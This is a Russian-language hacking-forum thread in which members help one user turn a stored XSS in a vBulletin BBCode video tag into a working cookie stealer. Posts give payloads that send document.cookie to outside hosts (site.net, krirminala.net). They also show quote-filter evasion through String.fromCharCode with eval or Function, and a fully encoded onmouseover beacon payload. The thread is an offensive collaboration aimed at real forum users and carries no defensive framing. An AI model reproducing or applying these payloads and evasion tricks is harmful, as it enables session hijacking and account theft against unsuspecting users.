Снова JS и кавычки

Discussion in 'Песочница' started by Seller Zeus, 10 Feb 2014.

  1. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Добрый день всем. Такой вопрос.

    Есть xss на булке из за тега google*video.

    [google*video][U*RL=/onmouseover=document.location.href = 'http://site.net/snf/s.gif?'+document.cookie;a="]1[/U*RL]123[/google*video]

    Алерт с куками вылетает на ура, теперь вопрос.
    Фильтруются кавычки ' " и `

    Как быть в данной ситуации?
     
  2. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    А в чем проблема?
    Code:
    eval(String.fromCharCode(84, 69, 83, 84))
    
    // Фильтр на eval:
    
    Function(String.fromCharCode(84, 69, 83, 84))()
    
     
    #2 randman, 10 Feb 2014
    Last edited: 10 Feb 2014
    1 person likes this.
  3. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Спасибо, а как с тегом прописать ? я что то не догоняю
     
  4. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Дайте encoder Хотябы(
     
  5. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    https://www.martineve.com/2007/05/23/string-fromcharcode-encoder/
     
  6. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0

    Спасибо большое
     
  7. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Чет не получается.

    Зашифровал это место:


    Получилось:

    Вставил:

    Но не работает, почему?
    Подскажите плиз
     
  8. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Где я ошибся?
     
  9. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Такой код:

    Открывает пустую страницу с таким содержимым:

    Как надо написать правильно чтобы он все же создавал картинку?

    Img запишнул в str так как пробелы тоже не допускаются, а переменная создается только с пробелом.
     
    #9 Seller Zeus, 11 Feb 2014
    Last edited: 11 Feb 2014
  10. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    попробуй кормить скрипту ссылку на js файл в котором и будет нужный код
     
  11. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Через document.location.href?
     
  12. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Зачем?

    <script src=http://example.com/script.js></script>


    http://example.com/script.js замени на адрес своего js файла
     
  13. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    угловые скобки фильтруются...
     
  14. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    А на это как реагирует ?
    Code:
    onmouseover=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,105,109,103,61,110,101,119,32,73,109,97,103,101,40,41,59,105,109,103,46,115,114,99,61,34,104,116,116,112,58,47,47,107,114,105,114,109,105,110,97,108,97,46,110,101,116,47,115,110,102,47,115,46,103,105,102,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,60,47,115,99,114,105,112,116,62));
    ЗЫ: Там
    Code:
    img=new Image();img.src="http://krirminala.net/snf/s.gif?"+document.cookie;
     
  15. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0

    Спасибо, а как сделать чтобы на пустую страницу не редеректило?
     
  16. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    document.write убрать и далее снова перекодировать js, без тегов script и собственно, евалить. Но в этом случаи, как ранее говорилось, запрос придёт в негодность ?
     
  17. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Ну так он и щас без тегов script.
     
  18. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    Эти теги закатаны в String.fromCharCode и далее записываются на страницу.
     
  19. Seller Zeus

    Seller Zeus New Member

    Joined:
    29 May 2012
    Messages:
    34
    Likes Received:
    0
    Reputations:
    0
    Вообщем вы предлагаете вместо document.write написать eval(); ?
     
  20. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    Если этого не сделать, всё то, что вернет String.fromCharCode будет текст, который даже нигде не будет показан)